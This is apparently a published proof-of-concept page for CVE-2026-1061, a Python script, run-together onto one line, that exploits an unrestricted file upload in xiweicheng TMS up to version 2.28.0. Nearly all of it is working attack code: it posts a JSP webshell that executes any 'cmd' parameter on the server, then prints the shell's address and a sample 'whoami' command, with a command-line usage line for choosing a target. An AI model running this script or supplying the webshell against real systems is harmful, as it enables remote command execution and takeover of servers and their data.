CVE-2026-1061 xiweicheng TMS未授权文件上传漏洞

import requests import sys # CVE-2026-1061 PoC - xiweicheng TMS Unrestricted File Upload # Target: xiweicheng TMS <= 2.28.0 # Vulnerable endpoint: /file/upload (FileController.java Upload function) def exploit(target_url, filename='shell.jsp', payload='<%@ page import="java.util.*,java.io.*"%><% if (request.getParameter("cmd") != null) { Process p = Runtime.getRuntime().exec(request.getParameter("cmd")); OutputStream os = p.getOutputStream(); InputStream in = p.getInputStream(); DataInputStream dis = new DataInputStream(in); String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine(); } } %>'): """ Exploit for CVE-2026-1061: Unrestricted file upload in xiweicheng TMS Args: target_url: Base URL of the vulnerable application filename: Malicious filename to upload payload: JSP webshell payload Returns: bool: True if upload successful, False otherwise """ upload_url = f"{target_url}/file/upload" if not target_url.endswith('/') else f"{target_url}file/upload" files = { 'file': (filename, payload, 'application/octet-stream') } data = { 'filename': filename # Vulnerable parameter } try: response = requests.post(upload_url, files=files, data=data, timeout=10) if response.status_code == 200: print(f"[+] File uploaded successfully: {filename}") print(f"[+] Access the shell at: {target_url}/uploads/{filename}") print(f"[+] Example command execution: {target_url}/uploads/{filename}?cmd=whoami") return True else: print(f"[-] Upload failed with status code: {response.status_code}") print(f"[-] Response: {response.text}") return False except requests.exceptions.RequestException as e: print(f"[-] Request failed: {str(e)}") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url> [filename]") print(f"Example: python {sys.argv[0]} http://target.com shell.jsp") sys.exit(1) target = sys.argv[1] filename = sys.argv[2] if len(sys.argv) > 2 else 'shell.jsp' exploit(target, filename)